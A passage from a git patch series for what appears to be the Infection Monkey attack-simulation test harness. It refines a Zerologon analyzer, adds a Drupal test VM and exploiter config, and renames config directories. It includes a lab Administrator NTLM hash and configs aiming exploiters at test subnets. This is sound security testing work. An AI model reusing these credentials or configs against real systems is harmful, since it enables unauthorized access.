exploiter gathered all credentials expected.") + else: + for cred in missing_creds: + self.log.add_entry(f"Credential ZeroLogon exploiter failed to gathered:{cred}.") def _analyze_credential_restore(self) -> bool: - return bool(self.island_client.find_telems_in_db(TELEM_QUERY)) + cred_restore_telems = self.island_client.find_telems_in_db(TELEM_QUERY) + self._log_credential_restore(cred_restore_telems) + return bool(cred_restore_telems) + + def _log_credential_restore(self, telem_list: List[dict]): + if telem_list: + self.log.add_entry("ZeroLogon exploiter telemetry contains indicators that credentials " + "were successfully restored.") + else: + self.log.add_entry("Credential restore failed or credential restore " + "telemetry not found on the Monkey Island.") + self.log.add_entry(f"Query for credential restore telem: {pformat(TELEM_QUERY)}") + + From f43d9fe035685eb785ec8db69491cd2626485c20 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 13:58:11 +0200 Subject: [PATCH 407/466] ZL BB tests: Renamed "ZeroLogon" to "Zerologon" for cinsistency, extracted relevant credential extortion from island config into a separate method. --- .../blackbox/analyzers/zerologon_analyzer.py | 17 +++++++++++------ .../blackbox/island_configs/zerologon.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 10 +++++----- 3 files changed, 17 insertions(+), 12 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index 20fdac468..f5da3a2e1 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -14,7 +14,7 @@ TELEM_QUERY = {'telem_category': 'exploit', 'data.info.password_restored': True} -class ZeroLogonAnalyzer(Analyzer): +class ZerologonAnalyzer(Analyzer): def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]): self.island_client = island_client @@ -28,12 +28,17 @@ class ZeroLogonAnalyzer(Analyzer): return is_creds_gathered and is_creds_restored def _analyze_credential_gathering(self) -> bool: - credentials_on_island = [] config = self.island_client.get_config() + credentials_on_island = ZerologonAnalyzer._get_relevant_credentials(config) + return self._is_all_credentials_in_list(credentials_on_island) + + @staticmethod + def _get_relevant_credentials(config: dict): + credentials_on_island = [] credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) - return self._is_all_credentials_in_list(credentials_on_island) + return credentials_on_island def _is_all_credentials_in_list(self, all_creds: List[str]) -> bool: @@ -43,10 +48,10 @@ class ZeroLogonAnalyzer(Analyzer): def _log_creds_not_gathered(self, missing_creds: List[str]): if not missing_creds: - self.log.add_entry("ZeroLogon exploiter gathered all credentials expected.") + self.log.add_entry("Zerologon exploiter gathered all credentials expected.") else: for cred in missing_creds: - self.log.add_entry(f"Credential ZeroLogon exploiter failed to gathered:{cred}.") + self.log.add_entry(f"Credential Zerologon exploiter failed to gathered:{cred}.") def _analyze_credential_restore(self) -> bool: cred_restore_telems = self.island_client.find_telems_in_db(TELEM_QUERY) @@ -55,7 +60,7 @@ class ZeroLogonAnalyzer(Analyzer): def _log_credential_restore(self, telem_list: List[dict]): if telem_list: - self.log.add_entry("ZeroLogon exploiter telemetry contains indicators that credentials " + self.log.add_entry("Zerologon exploiter telemetry contains indicators that credentials " "were successfully restored.") else: self.log.add_entry("Credential restore failed or credential restore " diff --git a/envs/monkey_zoo/blackbox/island_configs/zerologon.py b/envs/monkey_zoo/blackbox/island_configs/zerologon.py index 3c31e3d6a..6b84589fb 100644 --- a/envs/monkey_zoo/blackbox/island_configs/zerologon.py +++ b/envs/monkey_zoo/blackbox/island_configs/zerologon.py @@ -3,7 +3,7 @@ from copy import copy from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate -class ZeroLogon(BaseTemplate): +class Zerologon(BaseTemplate): config_values = copy(BaseTemplate.config_values) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 4d083907f..b54fa5393 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -7,7 +7,7 @@ from typing_extensions import Type from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ CommunicationAnalyzer -from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZeroLogonAnalyzer +from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ @@ -26,7 +26,7 @@ from envs.monkey_zoo.blackbox.island_configs.tunneling import Tunneling from envs.monkey_zoo.blackbox.island_configs.weblogic import Weblogic from envs.monkey_zoo.blackbox.island_configs.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.island_configs.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.island_configs.zerologon import ZeroLogon +from envs.monkey_zoo.blackbox.island_configs.zerologon import Zerologon from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest @@ -163,12 +163,12 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") def test_zerologon_exploiter(self, island_client): - test_name = "ZeroLogon_exploiter" + test_name = "Zerologon_exploiter" expected_creds = ["Administrator", "aad3b435b51404eeaad3b435b51404ee", "2864b62ea4496934a5d6e86f50b834a5"] - raw_config = IslandConfigParser.get_raw_config(ZeroLogon, island_client) - analyzer = ZeroLogonAnalyzer(island_client, expected_creds) + raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) + analyzer = ZerologonAnalyzer(island_client, expected_creds) log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) ExploitationTest( name=test_name, From 0fb0c58fd4ae35e1fcdd600552d593edfc398cd3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Mar 2021 08:54:15 -0500 Subject: [PATCH 408/466] zoo: add missing port number in blackbox/README.md --- envs/monkey_zoo/blackbox/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index 30855b855..81f535e7b 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -22,7 +22,7 @@ Example run command: `monkey\envs\monkey_zoo\blackbox>python -m pytest -s --island=35.207.152.72:5000 test_blackbox.py` #### Running in PyCharm -Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72`, and to run from +Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72:5000`, and to run from directory `monkey\envs\monkey_zoo\blackbox`. ### Running telemetry performance test From 3164ae77c46251b02b0f6a0a51b75d1e5b8308a0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Mar 2021 08:54:45 -0500 Subject: [PATCH 409/466] zoo: add drupal-28 to teraform scrips --- envs/monkey_zoo/terraform/images.tf | 4 ++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 15 +++++++++++++++ 2 files changed, 19 insertions(+) diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index a402842b8..866a4f174 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -89,6 +89,10 @@ data "google_compute_image" "zerologon-25" { name = "zerologon-25" project = local.monkeyzoo_project } +data "google_compute_image" "drupal-28" { + name = "drupal-28" + project = local.monkeyzoo_project +} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 6c3a49b2e..5eabc160b 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -447,6 +447,21 @@ resource "google_compute_instance_from_template" "zerologon-25" { } } +resource "google_compute_instance_from_template" "drupal-28" { + name = "${local.resource_prefix}drupal-28" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.drupal-28.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.28" + } +} + resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" From 34b0830c776d481c666d266c353b7556e0de34dd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Mar 2021 09:42:48 -0500 Subject: [PATCH 410/466] zoo: add drupal exploiter blackbox test --- envs/monkey_zoo/blackbox/island_configs/drupal.py | 13 +++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 7 ++++++- 2 files changed, 19 insertions(+), 1 deletion(-) create mode 100644 envs/monkey_zoo/blackbox/island_configs/drupal.py diff --git a/envs/monkey_zoo/blackbox/island_configs/drupal.py b/envs/monkey_zoo/blackbox/island_configs/drupal.py new file mode 100644 index 000000000..da2b41ac6 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/drupal.py @@ -0,0 +1,13 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate + + +class Drupal(BaseTemplate): + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "internal.classes.finger_classes": ["PingScanner", "HTTPFinger"], + "basic.exploiters.exploiter_classes": ["DrupalExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.28"] + }) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index b54fa5393..ff2e2cde2 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -13,6 +13,7 @@ from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ MonkeyIslandClient from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.island_configs.drupal import Drupal from envs.monkey_zoo.blackbox.island_configs.elastic import Elastic from envs.monkey_zoo.blackbox.island_configs.hadoop import Hadoop from envs.monkey_zoo.blackbox.island_configs.mssql import Mssql @@ -46,7 +47,8 @@ DEFAULT_TIMEOUT_SECONDS = 5*60 MACHINE_BOOTUP_WAIT_SECONDS = 30 GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', - 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25'] + 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8', 'zerologon-25', + 'drupal-28'] LOG_DIR_PATH = "./logs" logging.basicConfig(level=logging.INFO) LOGGER = logging.getLogger(__name__) @@ -141,6 +143,9 @@ class TestMonkeyBlackbox: def test_smb_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") + def test_drupal_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") + def test_elastic_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter") From 551928369ac17b0a3d8ff0be8a749235fc7865f8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 8 Mar 2021 09:47:16 -0500 Subject: [PATCH 411/466] zoo: update command to run blackbox tests Commit 3f687f6ae introduced a dependency on `common/`. Update the instructions in blackbox/README.md to reflect this change. --- envs/monkey_zoo/blackbox/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/README.md b/envs/monkey_zoo/blackbox/README.md index 81f535e7b..808a0a5cb 100644 --- a/envs/monkey_zoo/blackbox/README.md +++ b/envs/monkey_zoo/blackbox/README.md @@ -19,7 +19,7 @@ instead will just test performance of endpoints in already present island state. Example run command: -`monkey\envs\monkey_zoo\blackbox>python -m pytest -s --island=35.207.152.72:5000 test_blackbox.py` +`monkey\monkey>python -m pytest -s --island=35.207.152.72:5000 ..\envs\monkey_zoo\blackbox\test_blackbox.py` #### Running in PyCharm Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72:5000`, and to run from From b65524a85dde5cc8be7840636af6e88a84bc2430 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 15:41:22 +0200 Subject: [PATCH 412/466] Refactored "island_configs" dir to "config_templates" dir in blackbox --- .../__init__.py | 0 .../base_template.py | 2 +- .../config_template.py | 0 .../drupal.py | 0 .../elastic.py | 4 +-- .../hadoop.py | 2 +- .../mssql.py | 2 +- .../performance.py | 2 +- .../shellshock.py | 2 +- .../smb_mimikatz.py | 2 +- .../smb_pth.py | 2 +- .../ssh.py | 2 +- .../struts2.py | 2 +- .../tunneling.py | 2 +- .../weblogic.py | 2 +- .../wmi_mimikatz.py | 2 +- .../wmi_pth.py | 2 +- .../zerologon.py | 2 +- .../island_client/island_config_parser.py | 2 +- envs/monkey_zoo/blackbox/test_blackbox.py | 32 +++++++++---------- 20 files changed, 33 insertions(+), 33 deletions(-) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/__init__.py (100%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/base_template.py (85%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/config_template.py (100%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/drupal.py (100%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/elastic.py (63%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/hadoop.py (77%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/mssql.py (89%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/performance.py (97%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/shellshock.py (77%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/smb_mimikatz.py (91%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/smb_pth.py (91%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/ssh.py (91%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/struts2.py (77%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/tunneling.py (94%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/weblogic.py (78%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/wmi_mimikatz.py (92%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/wmi_pth.py (91%) rename envs/monkey_zoo/blackbox/{island_configs => config_templates}/zerologon.py (83%) diff --git a/envs/monkey_zoo/blackbox/island_configs/__init__.py b/envs/monkey_zoo/blackbox/config_templates/__init__.py similarity index 100% rename from envs/monkey_zoo/blackbox/island_configs/__init__.py rename to envs/monkey_zoo/blackbox/config_templates/__init__.py diff --git a/envs/monkey_zoo/blackbox/island_configs/base_template.py b/envs/monkey_zoo/blackbox/config_templates/base_template.py similarity index 85% rename from envs/monkey_zoo/blackbox/island_configs/base_template.py rename to envs/monkey_zoo/blackbox/config_templates/base_template.py index 13a480286..9ebea6f1f 100644 --- a/envs/monkey_zoo/blackbox/island_configs/base_template.py +++ b/envs/monkey_zoo/blackbox/config_templates/base_template.py @@ -1,4 +1,4 @@ -from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate # Disables a lot of config values not required for a specific feature test diff --git a/envs/monkey_zoo/blackbox/island_configs/config_template.py b/envs/monkey_zoo/blackbox/config_templates/config_template.py similarity index 100% rename from envs/monkey_zoo/blackbox/island_configs/config_template.py rename to envs/monkey_zoo/blackbox/config_templates/config_template.py diff --git a/envs/monkey_zoo/blackbox/island_configs/drupal.py b/envs/monkey_zoo/blackbox/config_templates/drupal.py similarity index 100% rename from envs/monkey_zoo/blackbox/island_configs/drupal.py rename to envs/monkey_zoo/blackbox/config_templates/drupal.py diff --git a/envs/monkey_zoo/blackbox/island_configs/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py similarity index 63% rename from envs/monkey_zoo/blackbox/island_configs/elastic.py rename to envs/monkey_zoo/blackbox/config_templates/elastic.py index 97598f718..1385366a8 100644 --- a/envs/monkey_zoo/blackbox/island_configs/elastic.py +++ b/envs/monkey_zoo/blackbox/config_templates/elastic.py @@ -1,7 +1,7 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate class Elastic(ConfigTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/hadoop.py similarity index 77% rename from envs/monkey_zoo/blackbox/island_configs/hadoop.py rename to envs/monkey_zoo/blackbox/config_templates/hadoop.py index 8c42b8ee3..0d26c4b64 100644 --- a/envs/monkey_zoo/blackbox/island_configs/hadoop.py +++ b/envs/monkey_zoo/blackbox/config_templates/hadoop.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Hadoop(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/mssql.py b/envs/monkey_zoo/blackbox/config_templates/mssql.py similarity index 89% rename from envs/monkey_zoo/blackbox/island_configs/mssql.py rename to envs/monkey_zoo/blackbox/config_templates/mssql.py index 5406494ee..1190e5c82 100644 --- a/envs/monkey_zoo/blackbox/island_configs/mssql.py +++ b/envs/monkey_zoo/blackbox/config_templates/mssql.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Mssql(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py similarity index 97% rename from envs/monkey_zoo/blackbox/island_configs/performance.py rename to envs/monkey_zoo/blackbox/config_templates/performance.py index 3a9a48e9f..e9e34727d 100644 --- a/envs/monkey_zoo/blackbox/island_configs/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -1,4 +1,4 @@ -from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate class Performance(ConfigTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py similarity index 77% rename from envs/monkey_zoo/blackbox/island_configs/shellshock.py rename to envs/monkey_zoo/blackbox/config_templates/shellshock.py index 27e0dc34d..d7e72d61d 100644 --- a/envs/monkey_zoo/blackbox/island_configs/shellshock.py +++ b/envs/monkey_zoo/blackbox/config_templates/shellshock.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class ShellShock(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py similarity index 91% rename from envs/monkey_zoo/blackbox/island_configs/smb_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py index aed4ee9c7..314a0875b 100644 --- a/envs/monkey_zoo/blackbox/island_configs/smb_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class SmbMimikatz(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py similarity index 91% rename from envs/monkey_zoo/blackbox/island_configs/smb_pth.py rename to envs/monkey_zoo/blackbox/config_templates/smb_pth.py index 3bb92347e..966116f6d 100644 --- a/envs/monkey_zoo/blackbox/island_configs/smb_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/smb_pth.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class SmbPth(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/ssh.py b/envs/monkey_zoo/blackbox/config_templates/ssh.py similarity index 91% rename from envs/monkey_zoo/blackbox/island_configs/ssh.py rename to envs/monkey_zoo/blackbox/config_templates/ssh.py index a0c3a285e..7f36a9dc2 100644 --- a/envs/monkey_zoo/blackbox/island_configs/ssh.py +++ b/envs/monkey_zoo/blackbox/config_templates/ssh.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Ssh(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/struts2.py b/envs/monkey_zoo/blackbox/config_templates/struts2.py similarity index 77% rename from envs/monkey_zoo/blackbox/island_configs/struts2.py rename to envs/monkey_zoo/blackbox/config_templates/struts2.py index a94ae714a..9f1633744 100644 --- a/envs/monkey_zoo/blackbox/island_configs/struts2.py +++ b/envs/monkey_zoo/blackbox/config_templates/struts2.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Struts2(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py similarity index 94% rename from envs/monkey_zoo/blackbox/island_configs/tunneling.py rename to envs/monkey_zoo/blackbox/config_templates/tunneling.py index 9badf1a17..0e44765ef 100644 --- a/envs/monkey_zoo/blackbox/island_configs/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Tunneling(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/weblogic.py b/envs/monkey_zoo/blackbox/config_templates/weblogic.py similarity index 78% rename from envs/monkey_zoo/blackbox/island_configs/weblogic.py rename to envs/monkey_zoo/blackbox/config_templates/weblogic.py index 8632f0efa..d9167a923 100644 --- a/envs/monkey_zoo/blackbox/island_configs/weblogic.py +++ b/envs/monkey_zoo/blackbox/config_templates/weblogic.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Weblogic(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py similarity index 92% rename from envs/monkey_zoo/blackbox/island_configs/wmi_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py index 11b0fc026..8be744f6c 100644 --- a/envs/monkey_zoo/blackbox/island_configs/wmi_mimikatz.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class WmiMimikatz(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py similarity index 91% rename from envs/monkey_zoo/blackbox/island_configs/wmi_pth.py rename to envs/monkey_zoo/blackbox/config_templates/wmi_pth.py index a435f25e4..84d950a86 100644 --- a/envs/monkey_zoo/blackbox/island_configs/wmi_pth.py +++ b/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class WmiPth(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_configs/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/zerologon.py similarity index 83% rename from envs/monkey_zoo/blackbox/island_configs/zerologon.py rename to envs/monkey_zoo/blackbox/config_templates/zerologon.py index 6b84589fb..7e0fef8d8 100644 --- a/envs/monkey_zoo/blackbox/island_configs/zerologon.py +++ b/envs/monkey_zoo/blackbox/config_templates/zerologon.py @@ -1,6 +1,6 @@ from copy import copy -from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate class Zerologon(BaseTemplate): diff --git a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py index d9e81957e..5b7211f87 100644 --- a/envs/monkey_zoo/blackbox/island_client/island_config_parser.py +++ b/envs/monkey_zoo/blackbox/island_client/island_config_parser.py @@ -4,7 +4,7 @@ import dpath.util from typing_extensions import Type from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate class IslandConfigParser: diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index ff2e2cde2..bfcf32fba 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -12,22 +12,22 @@ from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_configs.config_template import ConfigTemplate -from envs.monkey_zoo.blackbox.island_configs.drupal import Drupal -from envs.monkey_zoo.blackbox.island_configs.elastic import Elastic -from envs.monkey_zoo.blackbox.island_configs.hadoop import Hadoop -from envs.monkey_zoo.blackbox.island_configs.mssql import Mssql -from envs.monkey_zoo.blackbox.island_configs.performance import Performance -from envs.monkey_zoo.blackbox.island_configs.shellshock import ShellShock -from envs.monkey_zoo.blackbox.island_configs.smb_mimikatz import SmbMimikatz -from envs.monkey_zoo.blackbox.island_configs.smb_pth import SmbPth -from envs.monkey_zoo.blackbox.island_configs.ssh import Ssh -from envs.monkey_zoo.blackbox.island_configs.struts2 import Struts2 -from envs.monkey_zoo.blackbox.island_configs.tunneling import Tunneling -from envs.monkey_zoo.blackbox.island_configs.weblogic import Weblogic -from envs.monkey_zoo.blackbox.island_configs.wmi_mimikatz import WmiMimikatz -from envs.monkey_zoo.blackbox.island_configs.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.island_configs.zerologon import Zerologon +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal +from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic +from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock +from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest From 5f41ce54c6627c30419418dcc77eeecc36bf8677 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 17:13:35 +0200 Subject: [PATCH 413/466] Added config file generation script, which can generate config files from config templates. --- envs/monkey_zoo/blackbox/utils/README.md | 9 +++ .../utils/config_generation_script.py | 69 +++++++++++++++++++ .../utils/generated_configs/.gitignore | 1 + 3 files changed, 79 insertions(+) create mode 100644 envs/monkey_zoo/blackbox/utils/README.md create mode 100644 envs/monkey_zoo/blackbox/utils/config_generation_script.py create mode 100644 envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore diff --git a/envs/monkey_zoo/blackbox/utils/README.md b/envs/monkey_zoo/blackbox/utils/README.md new file mode 100644 index 000000000..b5d8e9125 --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/README.md @@ -0,0 +1,9 @@ +# BlackBox utility scripts + +## Config generation script + +This script is used to generate config files for manual tests. +Config file will be generated according to the templates in `envs/monkey_zoo/blackbox/config_templates`. + +Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py` to populate 